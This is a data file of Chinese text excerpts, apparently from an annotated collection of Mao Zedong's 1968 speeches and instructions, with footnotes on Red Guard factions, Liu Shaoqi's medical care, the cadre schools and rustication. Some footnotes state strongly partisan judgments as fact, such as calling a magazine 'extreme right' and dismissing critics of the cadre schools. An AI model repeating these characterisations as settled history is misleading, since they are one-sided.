    {"text": "还有一批过去留下来的老技术人员，虽然他们当中有些人是爱国的，是积极工作的，是不反党反社会主义的，是不里通外国的，但他们在世界观和作风上，存在很多问题。"},
    {"text": "工厂应该高举毛泽东思想的革命批判大旗，根据《中共中央关于无产阶级文化大革命的决定》中规定的政策，组织他们积极参加革命大批判，彻底批判中国赫鲁晓夫鼓吹的“专家治厂”、“技术第一”等谬论和“爬行哲学”、“洋奴哲学”，彻底批判资产阶级名利思想。"},
    {"text": "同时，还应该组织他们分期分批去当工人，或者让他们有更多的时间到车间去劳动，帮助他们走上和工人相结合的道路，走上理论和实践相结合的道路。"},
    {"text": "〔3〕 这是毛泽东为准备发表调查报告《上海工人技术人员在斗争中成长》写的《红旗》杂志编者按语。 〔4〕 这是毛泽东在一九六八年九月八日的《红旗》杂志上一份调研报告上的按语，一九六八年九月三日，上海市革命委员会继八月二十九日上送调查报告《上海工人技术人员在斗争中成长》之后，又上送一个调查报告，说上海机械学院的前身，上海机器制造学校创办时，第一届招收的二千余名学生全是从工人、农民和一部分农村基层干部中选拔的。"},
    {"text": "最近部分当年从这个学校毕业的上海机床厂工程技术人员以及这个学校附属工厂的工人和广大师生总结建校以来正反两方面的经验以后，对理工科大学的教育革命提出了一些看法和设想： 一、理工科大学要走上海机床厂的道路，必须解决由哪个阶级掌握领导权的问题。"},
    {"text": "四、建立一支无产阶级的教师队伍。 今后的教师队伍，应当采取有高度无产阶级政治觉悟的有实践经验的工人、工农学生和革命知识分子三结合的形式。"},
    {"text": "接见首都红代会“五大领袖”<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>时的谈话 接见首都红代会 “五大领袖” 〔1〕 时的谈话 * （一九六八年七月二十八日） （一） 毛泽东：（聂元梓、谭厚兰、韩爱晶、王大宾走进接见会场，毛主席站起来同他们一一握手）都是一些年轻人！"},
    {"text": "“（北大）井冈山”（聂元梓“新北大公社”的反对派“井冈山”）、“四?一四”（蒯大富清华“井冈山兵团”的反对派“四·一四”组织）、“兵团”（北京师范大学谭厚兰“井冈山公社”的反对派“造反兵团”）就会对我们有意见。"},
    {"text": "第三个办法，按着辩证法，不要住在一个城里，就一分为二，或者你搬到南方，或者（北大）“井冈山”搬到南方，一个南，一个北，根本不见面，打不起来，各人清理自己内部，一统天下。"},
    {"text": "我说，如果不行，要多长时候给多长时候，反正人是会长的，你一年级现在就是三年级了，再搞两年、四年、八年的，你还不是在哪里过一天长大一天。"},
    {"text": "我那个讲话（“七二一指示”）是留有余地的，大学还要办，讲了理工科，并没有说文科都不办，但旧的制度、旧的办法不行，学制要缩短，教育要革命。"},
    {"text": "林彪：蒯大富，我们对你的态度是通过卫戍区和市革委会的，你说你不了解中央的态度，今天是毛主席亲自关心你们，作了最重要的、最正确的、最明确的、最及时的教导，这次还置若罔闻，要犯很大的错误。"},
    {"text": "今天来的就没有“四?一四”，“（北大）井冈山”、“四?一四”思想不对嘛，“（北大）井冈山”、“红旗飘”中坏人多一些，聂元梓一派好人多一些。"},
    {"text": "宣传多大，敲锣打鼓，你们又不理，你们脱离群众，脱离工农兵，脱离绝大部分学生，甚至脱离自己领导下的部分群众，你领导下的学生，说你的坏话的不少。"},
    {"text": "我看我们的一些孩子，读书十几年把人毁了，睡不着觉，一个孩子读历史，不懂阶段斗争，历史就是阶段斗争的历史，可是读了好几年，就是不懂阶级斗争。"},
    {"text": "谢富治同志，把他们（学生）统统都招回来，统统回学校，可能有些生了气，不勉强，把“四·一四”留在学校里，“（清华）井冈山”反而在外面，这样不好，“（清华）井冈山”统统到人大会堂来。"},
    {"text": "毛泽东：文化大革命的经验比没文化大革命好，但我们保证要好些，你们要跟人民在一起，跟生产者在一起，把他们消灭干净，有人民就行，就是把林彪以及在座都消灭，全国人民是灭不掉的，不能把中国人民都灭掉，只要有人民就行，最怕脱离工人、农民、战士，脱离生产者，脱离实际，对修正主义警惕性不够，不修也得修。"},
    {"text": "薄一波差点死了，听说刘少奇也救活了，一种肺炎，一种心脏病，还有肾感染，四个医生和两个护士抢救，可以说脱离危险期了，你们听说了吗？"},
    {"text": "韩爱晶：我相信共产主义一定会胜利，如果我对共产主义没有信心，我就不会献身共产主义事业，可是我认为，历史的发展是波浪式的，不可能是条直线，难道中国革命，由民主革命到社会主义革命到共产主义就是一条直线走向胜利吗？"},
    {"text": "现在有走资派，像蒯大富那个“彻底砸烂旧清华”，“四·一四”就不赞成，“四·一四”就说，教员也有好的，可你们说的彻底砸烂，不是砸烂好人，而是一小撮坏人，你把含义讲清楚，他就驳不倒了，赶快把六七个领导找来，集中起来，你们今天晚上睡个觉，明天再开会，散会算了，以后再来。"},
    {"text": "〔1〕 接见红代会五大领袖，一九六八年七月二十八日凌晨三点，在人大会堂湖南厅，毛泽东接见了首都红卫兵代表大会的“五大领袖”，指清华的蒯大富、北大的聂元梓、北京航空学院的韩爱晶、北京师范大学的谭厚兰、北京地质学院的王大宾，历时五个多小时。 陪同接见的有中共中央副主席、国防部长林彪元帅、国务院总理周恩来、中央文革小组组长陈伯达、文革小组顾问康生、毛主席夫人文革小组副组长江青、文革小组成员姚文元、林彪夫人叶群、中央办公厅主任中央警卫团负责人汪东兴、国务院副总理、公安部长、北京市革委员会主任、北京军区政委谢富治、解放军总参谋长黄永胜、空军司令员吴法宪、副总参谋长北京卫戍区司令温玉成、北京卫戍区政委黄作珍、北京市革命委员副主任吴德。"},
    {"text": "七月二十七日上午，当数千名工人组成的工宣队进驻北清大学收缴武器、拆除工事、制止武斗时，在北清大学遭到了顽强的武装抵抗。 特别是在北清东校，蒯大富领导的井冈山兵团用长矛枪支和手榴弹袭击了工宣队，死五人，伤数百人，他们在高音喇叭里呼喊的口号是：“打倒镇压学生运动的黑后台！"},
    {"text": "” 〔3〕 北大当时有两个相互对立的造反派红卫兵组织，一个是指聂元梓领导的“新北大公社”，另一个是“井冈山兵团”，负责人是牛辉林、侯汉清、杨克明。 〔4〕 北京地质学院的造反派红卫兵组织“东方红公社”负责人是王大宾、聂树人等。 〔5〕 周泉缨，清华大学当时有两个相互对立的造反派红卫兵组织，蒯大富、鲍长康领导的“井冈山兵团”，简称“团派”，另一个就是沈如槐等领导的“四·一四”组织，简称“四派”，周泉缨是“四派”的理论家，曾写出《“四·一四”思潮必胜》的大字报。 井岗山兵团的天安门纵队在清华《井岗山》报上发表《谁敢否定无产阶级文化大革命我们就和他拼命——评〈四一四思潮必胜〉》。"},
    {"text": "〔6〕 “省无联”正确全称是“湖南省会无产阶级革命派大联合委员会”，“省无联”是其简称，只是个省会组织，不是全省组织，它只是部分群众造反组织的一个派系联席会议式的松散集合，而其对参入者并无任何约束力。"},
    {"text": "〔7〕 一九六七年九月七日，在蒯大富、韩爱晶的支持和参与下，北师大谭厚兰的反对派“井冈山造反兵团”的头头们趁开大会之机，搞突然袭击，把谭厚兰反剪双手押上了主席台，批斗了谭厚兰，并宣布夺权。"},
    {"text": "一九五六年写了自传体小说《骨肉》，描述旧社会一个工人家庭家破人亡，骨肉分离的悲惨遭遇，受到好评，并在一九五七年世界青年联欢节举办的国际文艺竞赛中获荣誉奖状。"},
    {"text": "八岁上小学一个月，九岁当童工，十五岁当劳工，十七岁学木匠，一九四七年参加解放军，一九五四年他才上学读书，一九六二年毕业于中国人民大学新闻系。"},
    {"text": "历任文艺干事，师职创作员，辽宁省民间文学协会理事，深阳军区创作室名誉主任，短篇小说《我要读书》和《半夜鸡叫》曾被选入小学语文课本，著有长篇小说《高玉宝》，一九五五年四月中国青年出版社初版。 长篇小说《高玉宝》在国内用七种民族文字出版，并被十多个国家和地区用十五种外文翻译出版，仅汉文出版的就达四百五十多万册，并被改编为二十四种连环画，被周恩来总理称为“战士作家”。"},
    {"text": "为了迅速予以制止，中央号召广西无产阶级革命派和广大革命群众，在广西革筹小组的领导下，努力实现以下各点：一，立即停止武斗，拆除工事，撤离据点。"},
    {"text": "为了迅速予以制止，中央特再重申： （一）任何群众组织、团体和个人，都必须坚决、彻底、认真地执行伟大领袖毛主席亲自批准的“七·三”布告，不得违抗。"},
    {"text": "（六）对于确有证据的杀人放火，抢劫、破坏国家财物，中断交通通讯，私设电台，冲击监狱、劳改农场，私放劳改犯的现行反革命分子以及幕后操纵者，必须坚决实行无产阶级专政，依法惩办。"},
    {"text": "一九六八年的三月二十四日，林彪及中央“文革小组”成员在人民大会堂接见了人民解放军各总部、国防科委、国防工办、各军兵种、北京军区等单位团以上干部一万多人。"},
    {"text": "与其他一些有两大派对立组织的地区的情况不同，它的所谓“派”，并不存在一个实在的、具体的常设组织，严格说来，它只是一个观点相同或相近的一些组织不很紧密的联合体。"},
    {"text": "所谓“地派”，是因为这一派的主要组织之一是北京地质学院“东方红”，就取它的“地”字，称为“地派”，天地相对，用“天派”、“地派”来称呼北京对立的两大派很形象，也很通俗，于是很快就流行开了。"},
    {"text": "聂元梓的“新北大公社”是“天派”的，对立派“北大井冈山”是“地派”的； 蒯大富的“清华井冈山”是“天派”的，对立派沈如槐“四·一四兵团”是“地派”的； 北师大谭厚兰（女）的“井冈山公社”是“地派”的，对立派王颂平（女）的“造反兵团”是“天派”的。 “五大领袖中”聂元梓（女）、蒯大富、韩爱晶是“天派”的，谭厚兰（女）、王大宾是“地派”的。"},
    {"text": "〔15〕 王、关、戚，指的是王力、关锋和戚本禹三人，一九六六年后，王力、关锋和戚本禹相继成为《红旗》副总编辑、“中央文革小组”的成员，曾为中央文革成员，王力被任命为中央宣传组组长，关锋成为总政副主任、“军委文革小组”副组长，并受林彪委托兼管《解放军报》，而戚本禹则是中央办公厅秘书局副局长、中共中央办公厅代主任。"},
    {"text": "一九六七年八月七日，王力对外交系统造反派发表讲话（即著名的“王八七讲话”），一些极左分子受到王力讲话的蛊惑，一度夺取了外交大权。"},
    {"text": "另外，王力、关锋在当年当期的《红旗》杂志上，组织发表了《红旗》杂志的“八·一”社论，提出了“揪军内一小撮走资派”与“有带枪的刘邓路线”口号，十二日，毛泽东看后写了“大毒草”三个字！"},
    {"text": "”，二十四日，毛泽东在王力“八七”讲话稿上写上了：“大大大毒草”，二十六日，毛泽东指示，“王、关、戚是破坏文化大革命的，不是好人”，随后，王力、关锋被隔离审查，一九六八年一月，对戚本禹也做了同样处理。"},
    {"text": "〔16〕 朱成昭，北京地质学院“东方红公社”的早期负责人，其女朋友是叶剑英之女叶向真，曾在一九六六年十二月组织人将彭真从家中抓走批斗，把彭德怀从成都抓到北京，六七年初，朱成昭当副局长的父亲在上海也被打成了黑帮，思想开始保皇，反对中央文革和文化大革命，二月四日，公开炮打中央文革，由王大宾接任“东方红公社”的一把手。 一九六七年七月，朱成昭和叶向真准备偷渡香港，被周总理派人抓回，八月二十日，朱成昭和叶向真被公安部以组织“反革命集团”罪名正式逮捕。"},
    {"text": "〔17〕 “保爹保妈”，文革中的红卫兵分为“老红卫兵”和“造反派红卫兵”，“老红卫兵”活跃在文革初期，即一九六六年八月到一九六七年初，不到半年时间，以“红五类”子弟（即家庭出身为工人、贫农、下中农、革命干部、革命军人的学生）为基本队伍，以高干军干子女为头目的第一批红卫兵组织，如北京的“红卫兵联合行动委员会”（由原北京东城、西城红卫兵纠察队等组成，简称“联动”），宣扬“血统论”，公开声明“老子英雄儿好汉，老子反动儿混蛋”，他们的目标就是保住自己父母的权力，保省委保市委，充当了文革期间首批保守派。 一九六七年“一月风暴”中，“造反派红卫兵”登上历史舞台，其组织构成已不注重家庭成份，其领导层也大多是平民子弟，开始“造”省委市委及学校党委的“反”，击败并瓦解了“老红卫兵”，并讥讽“老红卫兵”是“保爹保妈”。"},
    {"text": "二〇〇九年十一月十五日《重庆晚报》刊登了《文革中抢救刘少奇纪实》一文，讲述者是亲历者顾英奇，历任中共中央办公厅警卫局保健处医生，北京医院主治医师，中央警卫团中南海门诊部副主任，总参警卫局保健处主任军医，中国康复医学会会长，卫生部副部长等职。 该文全文如下： 从一九六八年二月到一九六九年十月，中南海门诊部的医务人员和全国知名的各科专家，为刘少奇做了大量的治疗护理工作，在他病重、病危期间进行了卓有成效的抢救工作，多次把他从死亡边缘抢救回来。"},
    {"text": "当时医院虽然混乱，但对刘少奇看病的问题，周总理和中央办公厅曾给北京医院下达一条原则：刘少奇需要看病时，经他的警卫人员与北京医院总值班室联系，由医院的医生、护士出诊；"},
    {"text": "一九六八年二月，奉国务院和中央军委命令，我被调回中南海并编入部队，任新成立的中央警卫团（八三四一部队）中南海门诊部（现警卫局保健处前身）两名负责人之一，主持日常工作。"},
    {"text": "在这期间，我们不但经常去给他看病，还对他的生活照顾及时提出指导意见：一九六八年五月三日，发现给刘少奇做饭的师傅马文全患痢疾，便立即进行了隔离治疗，另换一名师傅；"},
    {"text": "二、抢救刘少奇 在工作中，我们虽然不能像以往那样和他有思想感情交流，但我们确实严格按照医患之间的关系来处理他的健康和医疗问题，没有任何轻视和懈怠。"},
    {"text": "三、七次从凶险的肺炎中把他抢救回来 经X线胸片及痰培养证实，他患的是“肺炎杆菌性肺炎”。 肺炎杆菌毒力较强，耐药，较难控制，这是一种十分凶险的疾病，对老年人常常是致命的。"},
    {"text": "四、脑软化日益严重，意识一直没有恢复 一九六八年十月九日，他突然不能进食，头向左转、眼向左凝视，诊断为脑供血不足，为脑干有弥漫性小软化灶所致。"},
    {"text": "虽然生活不能自理，长期卧床，大小便失禁，但没有发生过褥疮，这都是由于护士按护理规程，按时按摩、翻身、擦澡、被褥清洁才得到这样好的结果。"},
    {"text": "一般上午、晚上各一次，有时一日会诊三次。 参加会诊的专家有：上海的董承琅、北京的吴洁、陶桓乐、王叔咸、李邦琦、黄宛、王新德、薛善一、吴家瑞、姜世杰等教授专家。 中南海门诊部参加医疗工作的有：卞志强、董长城、张林、牛福康、李留壮、马小先。 参加特护的有：北京医院的曹兵（瑞英）、纪秀云，警卫团的韩世泉（男）、三〇一医院的董洁秋、卿喜珍等。"},
    {"text": "五、中南海门诊部派医护，把刘少奇护送到洛阳 少奇同志在我们的照顾下生活了一年零八个月后，一九六九年十月，上级指示要把刘少奇疏散到河南去。"},
    {"text": "一九七九年十一月二十七日，中纪委的王绍棠把刘少奇的病历、治疗和抢救工作的全部资料取走，其中包括数张刘少奇在家庭病房中生活和治疗的照片。"},
    {"text": "医学教育革命的方向——赤脚医生就是好 医学教育革命的方向 ——赤脚医生就是好 * （一九六八年九月十四日） （一） 这个从城里下到农村的医生证明，从旧学校培养的学生，多数或大多数是能够同工农兵结合的，有些人并有所发明、创造，不过要在正确路线领导之下，由工农兵给他们以再教育，彻底改变旧思想。"},
    {"text": "同年第三期《红旗》杂志和九月十四日出版的《人民日报》都全文转载，也就是在这篇文章中，第一次把农村半医半农的卫生员正式称为“赤脚医生”，毛泽东在当天的《人民日报》上批示“赤脚医生就是好”。 从此，“赤脚医生”成为半农半医的乡村医生的特定称谓。 “赤脚医生”这个名字，是在农民中自行叫起来的，因为南方的农村都是水田，种水稻的，只能赤脚下水田，所以赤脚就是劳动的意思，赤脚医生就是既要劳动也要行医。"},
    {"text": "江镇公社的贫下中农体会到：要贯彻执行毛主席关于“把医疗卫生工作的重点放到农村去”的光辉指示，必须搞好医学院校的教育革命。 他们学习了毛主席关于教育革命的一系列最新指示，认为： “（一）医学教育必须为无产阶级政治服务。"},
    {"text": "”贫下中农认为，“赤脚医生”在农村里滚上二、三年，再进医学院校学习，这个办法好。 贫下中农高兴地说：“以后医学院校招生，我伲要把‘赤脚医生’送去，学几年后再回来为我伲服务。"},
    {"text": "贫下中农还认为：“赤脚医生”中除了一部分进入学校学习外，绝大部分都应当坚持扎根农村，可以采用卫生院医生和“赤脚医生”上下定期对调的办法，加以提高。"},
    {"text": "新中国合作医疗的典型是一个叫覃祥官的人在鄂西长阳土家山寨创造的，一九六六年八月十日，中国历史上第一个农村合作医疗试点——“乐园公社杜家村大队卫生室”挂牌了。"},
    {"text": "农民每人每年交一元合作医疗费，大队再从集体公益金中人均提留五角钱作为合作医疗基金。 除个别老痼疾病需要常年吃药的以外，群众每次看病只交五分钱的挂号费，看病吃药就不要钱了。 覃祥官首创的看病吃药不花钱的“农村合作医疗制度”，由于毛泽东亲笔批示和《人民日报》头版头条报道，该制度在全国百分之九十以上的农村推广，惠及亿万农民。"},
    {"text": "农村合作医疗体系在改善中国人民健康水平方面的贡献有目共睹：中国的平均寿命高于很多收入水准比中国高的国家，人民平均寿命的增长幅度在很大程度上超过了其他国家。"},
    {"text": "世界卫生组织有感于这样伟大的成就，在一九七八年召开的阿马阿塔会议上，将中国的医疗卫生体制推崇为世界范围内基层卫生推动计划的模范。"},
    {"text": "此外，中国独特的医疗卫生体系创建，深刻地影响了其他国家的医疗改革，启发那些改革者们发展适合自己的医疗卫生制度，而不是盲目照搬其他国家的制度。"},
    {"text": "来自中国工程院的院士有钟南山、巴德年、李连达、高润霖、程书钧、王红阳、刘志红，来自中国科学院的院士有杨雄里和强伯勤，他们由巴德年代表做了《加快覆盖城乡居民医疗保健制度的建设及早解决“看病贵、看病难”问题》的联合发言： “我代表长期工作在医药卫生战线上的中国科学院、中国工程院的九位院士委员作联合发言。"},
    {"text": "世界上无论发达国家还是发展中国家，都把卫生投入列入国家财政支出的重要科目，姑且不说发达国家用于医药卫生开支均占GDP的10%以上，就连巴西也为7.9%，印度为6.1%，赞比亚为5.8%，中国只为2.7%。"},
    {"text": "多年来，我国某些部门以“中国国情”为由，宣称中国不会走国外全民医疗的老路，要走一条自己的“改革路”，走的结果是走到了第188位，走到了老百姓极不满意、无法承受的地步。"},
    {"text": "广大干部下放劳动是一种重新学习的极好机会 广大干部下放劳动 是一种重新学习的极好机会 * （一九六八年九月三十日） 此件似可在人民日报发表。广大干部下放劳动，这对干部是一种重新学习的极好机会，除老弱病残者外都应这样做。在职干部也应分批下放劳动。 注 释 * 这是毛泽东同志对《柳河“五·七”干校为机关革命化走出条新路》 〔1〕 一文的批语。 〔1〕 《柳河“五·七”干校为机关革命化走出条新路》这个材料最初在一九六八年九月二十九日《文革情况汇编》第六二八期上发表。“革命委员会”的成立，机构精简产生出许多精简出来的干部，加上原来一些“牛棚”里的干部也回来了，这些干部的安置便成了一个大问题。 这时，黑龙江省出了一个新事物。原来，黑龙江省革命委员会也一直在为如何安排精简下来的干部和“牛棚”里的干部而发愁。一开始，黑龙江省革命委员会负责人只是安排这些人打扫卫生，清理街道的垃圾，干一些杂活。但这些活毕竟有限，干完这些活，这些人仍然闲着无事做。后来，他们想出一个办法：把这些干部集中安排到农村，办一个农场，保留工资待遇，让他们在体力劳动中“改造”自己。并且经过考察，最后选定了庆安县的柳河，作为办这种农场的试点。 柳河这个地方，自然资源比较好，也有一部分空出的房舍，安置第一批干部不成问题。第一批干部到达柳河后，还可以继续建房、开荒、种树、办小工厂，为安置第二批干部创造条件。去柳河的干部，采取分期分批的形式，且在那里的时间有长有短；干部劳动的时间，也根据体力而有长有短；又保留原工资待遇，干部们很容易接受。于是，黑龙江省革命委员会在一九六八年五月七日，毛泽东的“五七指示”发表两周年之际，正式启动这一计划，当天组织第一批干部到达柳河，并把这个农场命名为——柳河“五七”干校。 柳河“五七”干校初办时还算顺利。到达那里的干部，与当地农民建立了深厚的感情，他们的生活和劳动也得到了当地农民的帮助。这些干部在柳河种了不少地，又新开了一些荒地，盖了不少新房子，还种树，搞副业生产。黑龙江省革命委员会把办柳河“五七”干校的经验介绍材料进行了上报。经验材料中说：办柳河“五七”干校，“为机关革命化，改革上层建筑走出了一条新路。干校共有学员一百四十一人，主要是原省、市委机关干部和革命委员会的工作人员。机关干部办农场，走与工农相结合的道路，深受广大贫下中农的欢迎。不少干部到干校后，亲临三大革命第一线，接近了贫下中农，增强了对劳动人民的思想感情。目前，干校耕种土地三千余亩，农、林、牧、副、渔全面发展，并自力更生办起了小型工厂、企业。实践证明，‘五七’干校是改造和培养干部的好地方，是实现机关革命化，搞好斗、批、改的一种好办法”。 毛泽东看到这个材料后，于九月三十日写了本则批语。 十月五日，《人民日报》刊登了《柳河“五七”干校为机关革命化提供了新的经验》的报道，引用了毛泽东的批语，同时刊发了姚文元写的编者按：毛主席关于柳河“五七”干校经验的批语，“对反修、防修，对搞好斗、批、改，有十分重大的意义，应引起我们各级革命干部和广大革命群众的高度重视。希望广大干部（除老弱病残者外），包括那些犯过错误的干部，遵照毛主席的指示，在下放劳动的过程中重新学习，使自己的精神面貌来一个比较彻底的革命化。在革命委员会中工作的新老革命干部，也要执行毛主席的指示，分期分批下放劳动，使自己不脱离劳动人民，既当‘官’，又当老百姓。新干部要特别注意不要染上脱离群众、脱离劳动、一切依靠秘书、做官当老爷的剥削阶级坏作风，要保持无产阶级朝气蓬勃的革命的青春”。 柳河“五七”干校成了毛泽东肯定的典型后，各地纷纷仿效，办起了许多干校。中央各机关也都在外地寻找地点，分别办起了各自的“五七”干校。一开始，黑龙江省办的柳河“五七”干校，主要是为了安置干部。因为毛泽东主席在批示中明确指出，“除老弱病残者外”，广大干部都应该下放劳动，“在职干部也应分批下放劳动”。而且，他把自己的女儿也送到中央办公厅办的“五七”干校去锻炼。《人民日报》的编者按中说得更明确：“在革命委员会中工作的新老干部，也要执行毛主席的指示，分期分批下放劳动。”所以实际上，“五七”干校实际上成了一种新型的“党校”。 后来有人疯狂地谩骂“五七”干校，他们认为自己做了官就只能上不能下，再也不可以与劳动人民一样参加劳动。这才是他们极力扭曲“五七”干校的真正原因。"},
    {"text": "在中共八届扩大的十二中全会上的讲话 在中共八届扩大的 十二中全会上的讲话 （一九六八年十月十三日、三十一日） （一）（一九六八年十月一十三日开幕式上的讲话） 会议大概开七天到十天，想一想有些什么问题要提出来。"},
    {"text": "高岗、饶漱石、徐海东他们四个人，徐海东同高岗抱头痛哭，说中央亏待了他，没有他在陕北打胜仗，中央就站不住脚，这正是公布高岗当副主席的时候，他同高岗联盟有勾搭，值得审查。"},
    {"text": "他早就有自我批评了，比如北戴河会议的时候就有自我批评了，有些老同志将来是否可以要工作，打倒的谭启龙、江渭清 〔12〕 ，过几年以后，大家气消了，也可以做点工作嘛。"},
    {"text": "（三）（引自八届扩大的十二中全会公报） 这次无产阶级文化大革命，对于巩固无产阶级专政，防止资本主义复辟，建设社会主义，是完全必要的，是非常及时的。"},
    {"text": "〔7〕 邓小平的自传检讨，一九六八年七八月间，邓小平写了一封检讨书《我的自述》，转给中央及毛主席，全文分为“红七军工作时期”、“在中央苏区的三年多”、“在太行工作时期”、“在北京工作时期”，“在北京工作时期”内容如下： 一九五二年我到北京工作以后，特别是被“八大”选为中央总书记的十年中，我的头脑中，无产阶级的东西越来越少，资产阶级的东西越来越多，由量变到质变，一直发展到推行了一条资产阶级反动路线，变成了党内最大的走资本主义道路当权派之一。"},
    {"text": "这个报告是几个人集体起草的，这一段也不是由我写的，似乎记得还是参照一论无产阶级专政的历史经验写的，但作为主持起草的我应负不可推卸的主要责任。"},
    {"text": "在考虑“八大”中央委员人选时，对过去曾有叛变行为，以后又在长期工作中有所表现的人，是否可以当中委的问题，我当时认为，对某些人可以作特殊情况处理，提为中委候选人。"},
    {"text": "回想日本投降后，我和薄一波违反党的组织原则，介绍叛徒刘岱峰入党，虽然此事在组织上是经过上级批准的，回想起来，也是犯了与上述问题同一性质的政治错误。 这直接违反了主席一九四零年十二月在《论政策》这个指示中规定的“对于叛徒，……如能回头革命，还可予以接待，但不准重新入党”这样明确的原则的。"},
    {"text": "我在担任总书记的十年中，最根本、最严重的罪行，是不突出无产阶级政治，不传播毛泽东思想，长期不认识毛泽东思想在国内和国际革命中的伟大意义。"},
    {"text": "一九五八年实现人民公社化，我确实高兴，但在我的思想中，从此滋长了阶级斗争减弱的观点，所以在后来的长时期中，我在处理阶级斗争的问题上，总是比较右的，无论在两条路线和两条道路的斗争方面，或者在党内斗争（阶级斗争在党内的反映）方面，都是如此。"},
    {"text": "一九六一年我参与制定了工业企业管理条例（草案）七十条，这个文件不是强调政治挂帅、即毛泽东思想挂帅的，是包含许多严重错误的东西，我对此要负主要责任。"},
    {"text": "一九六二年刮单干风的时候，我赞成安徽搞“包产到户”这种破坏社会主义集体经济，其实就是搞单干的罪恶主张，说过“不管黄猫黑猫，抓得住老鼠就是好猫”等极其错误的话。"},
    {"text": "一九六三年开始的社会主义教育运动，有了主席亲自主持制定的前十条，明确地以阶级斗争、两条道路的斗争为纲，规定了一套完整的、正确的理论、方针、政策和方法，完全没有必要再搞一个第二个十条。"},
    {"text": "我主持书记处工作十年之久，没有系统地总结问题和提出问题，向毛主席报告和请示，这在组织上也是绝不允许的，犯了搞独立王国的错误。 一九六五年初，伟大领袖毛主席批评我是一个独立王国，我当时还以自己不是一个擅权的人来宽解，这是极其错误的。"},
    {"text": "书记处成员前后就有彭真、黄克诚、罗瑞卿、陆定一、杨尚昆等多人出了问题，这是与我长期不突出无产阶级政治，不突出毛泽东思想的错误密切关连的，结果我自己最后也堕落到这个修正主义份子的队伍中了。 在书记处里，我过份地信任彭真，许多事情都交给他去处理，对杨尚昆安窃听器，我处理得既不及时，又不认真，对此我应负严重的政治责任。"},
    {"text": "〔9〕 辽宁三大派，当时辽宁分为三派，“辽宁省革命造反派大联合委员会”（简称“辽联”）、“辽宁无产阶级革命派联络站”（简称“辽革站”）、“八三一革命造反总司令部”〔简称“八三一”，后经过联合，于一九六八年五月十日辽宁成功成立革命委员会，主要负责人是陈锡联。"},
    {"text": "〔10〕 肖克，即萧克，上将，长征中萧克支持张国焘的分裂主张，萧克在二十世纪九十年代，支持创办了反毛非毛反社会主义的极右杂志《炎黄春秋》。"},
    {"text": "〔12〕 谭启龙，一九七〇年复出后历任福建省革委会副主任、省委书记，一九七二年四月起历任浙江省委书记（主持工作）、省革委会副主任，浙江省委第一书记、省革委会主任、省军区第一政委。 江渭清，一九七四年底复出，中央派江渭清到江西工作，历任江西省委第一书记、省革委会主任、福州军区政委、江西省军区第一政委。 〔13〕 邓华，一九五九年八月，庐山会议上，邓华因彭德怀案被撤销党内外一切职务，一九六零年转业到地方，任四川省副省长，主管农业机械工作。 〔14〕 黄克诚，一九五九年八月，庐山会议上，黄克诚与彭德怀等人被定为“反党集团”成员，被解除军委总参谋长职务，一九六五年，黄克诚任山西省任副省长，分管农业。 谭政，原任中国人民解放军总政治部主任，一九六〇年九、十月间召军委扩大会议通过《中共中央军事委员会扩大会议关于谭政同志错误的决议》，定性为“在总政结成反党宗派集团”，一九六一年一月后，被撤销了中央军委常务委员、中央书记处书记等职务，一九六五年十一月任福建省副省长，一九七五年八月复出任中共中央军委顾问。"},
    {"text": "〔15〕 杜聿明，著名国民党高级将领，一九四九年一月在淮海战役中被俘，一九五九年被特赦，其女婿为美籍华裔诺贝尔得主杨振宁博士。 王耀武，著名国民党高级将领，军事才能突出，在济南战役中被俘，一九五九年被特赦。"},
    {"text": "一九一二年入上海中国公学大学预科班，一九一五年入北京大学文科中国哲学门，一九一九年赴美留学，一九二四年获哥伦比亚大学博士学位。 回国后历任中州大学、广东大学、燕京大学教授、清华大学文学院院长兼哲学系主任。"},
    {"text": "在燕京大学任教期间，冯友兰讲授中国哲学史，分别于一九三一年、一九三四年完成《中国哲学史》上、下册，后作为大学教材，为中国哲学史的学科建设做出了重大贡献。 从一九三九年到一九四六年七年冯友兰连续出版了六本书，称为“贞元之际所著书”：《新理学》〔1937〕、《新世训》〔1940〕、《新事论》〔1940〕、《新原人》〔1942〕、《新原道》〔1945〕、《新知言》〔1946〕。 通过“贞元六书”，冯友兰创立了新理学思想体系，使他成为中国当时影响最大的哲学家。 二十世纪五六十年代是冯友兰学术思想的转型期。 新中国成立后，冯友兰放弃其新理学体系，接受马克思主义，开始以马克思主义为指导研究中国哲学史。"},
    {"text": "著有《中国哲学史新编》第一、二册、《中国哲学史论文集》、《中国哲学史论文二集》、《中国哲学史史料学初稿》、《四十年的回顾》和七卷本的《中国哲学史新编》等书。"},
    {"text": "〔1〕 沃尔特·李普曼（Walter Lippmann，一八八九——一九七四），美国作家、记者、政治评论家，美国历史上成就和名气最大的记者和专栏作家，传播学史上具有重要影响的学者之一，在宣传分析和舆论研究方面享有很高的声誉。"},
    {"text": "作为美国著名的新闻评论家和作家，六十年的工作使他成为世界上最有名的政治专栏作家之一，他的专栏评论被不止二百五十家美国报纸和大约二十五家国外报纸刊用，同时它还分别为五十多家杂志撰稿。"},
    {"text": "关于知识青年到农村去的号召 关于知识青年 到农村去的号召 * （一九六八年十二月十一日） 知识青年到农村去，接受贫下中农的再教育，很有必要。要说服城里干部和其他人，把自己初中、高中、大学毕业的子女，送到乡下去，来一个动员。各地农村的同志应当欢迎他们去。 注 释 * 这是毛泽东同志对上山下乡运动 〔1〕 的指示。 〔1〕 “上山下乡”一词，源于一九五六年一月中共中央政治局拟定的《一九五六年到一九五七年全国农业发展纲要（草案）》。纲要提到，“城市的中小学毕业的青年，除了能够在城市升学就业的以外，应当积极响应国家的号召，下乡上山去参加农业生产，参加社会主义农村建设的伟大事业”。 上山下乡运动最早可以追溯到一九五五年。当年，河南省郏县有一批中学生回乡参加农业合作化运动，毛泽东为此写道： “组织中学生和高小毕业生参加合作化的工作，值得特别注意。一切可以到农村去工作的知识分子，应当高兴地到那里去。农村是一个广阔的天地，在那里是可以大有作为的。” 一九六四年，中共中央、国务院发布了《关于城镇青年参加农村社会主义建设的决定》草案，这是上山下乡运动一个纲领性文件。一九六五年中央办公厅为此发布了通知。从此，上山下乡被列入党和国家重要的日常工作范围。 一九六八年十二月二十二日，《人民日报》发表毛泽东的号召后，全国知识青年上山下乡的高潮出现。至一九七八年，共有1400万知识青年上山下乡，改变了城市和农村的面貌。 